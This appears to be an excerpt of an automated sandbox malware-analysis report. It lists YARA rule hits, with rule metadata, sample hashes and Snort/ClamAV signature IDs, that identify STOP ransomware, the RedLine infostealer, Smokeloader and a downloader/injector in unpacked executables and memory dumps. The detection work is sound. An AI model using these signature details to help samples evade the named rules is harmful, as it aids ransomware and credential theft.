Source: 13.2.4149.exe.42815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.2355.exe.42c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.2355.exe.41b1e76.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.2355.exe.41b2d5e.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.2355.exe.41b1e76.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 26.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 21.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 21.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.2355.exe.5486550.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.2355.exe.5486550.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.2355.exe.3e60e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 8.2.4FC4.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.4FC4.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.2355.exe.4100ee8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.2.4149.exe.42815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.4149.exe.42815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.D5C1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.D5C1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.2.B666.exe.41015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.2.B666.exe.41015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.2355.exe.41b2d5e.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.2355.exe.4100000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 21.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 21.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.2355.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 8.2.4FC4.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.4FC4.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 36.2.B03B.exe.40515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 36.2.B03B.exe.40515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 26.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 26.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.4149.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.4149.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.0.F0EE.exe.9d0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector
Source: 7.2.4FC4.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.4FC4.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 39.2.89B0.exe.40915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 39.2.89B0.exe.40915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 39.2.89B0.exe.40915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 39.2.89B0.exe.40915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 20.2.B666.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 20.2.B666.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.D5C1.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.D5C1.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.4149.exe.40a15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.4149.exe.40a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.4149.exe.41115a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.4149.exe.41115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.4149.exe.40e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.4149.exe.40e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 36.2.B03B.exe.40515a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 36.2.B03B.exe.40515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 20.2.B666.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 20.2.B666.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000024.00000002.694159919.0000000002504000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.755964328.00000000041E2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000017.00000002.677639778.000000000404D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.633102738.0000000002350000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000019.00000002.733370721.0000000002408000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000013.00000002.797455681.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000027.00000002.692618909.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000016.00000002.676645337.0000000002460000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
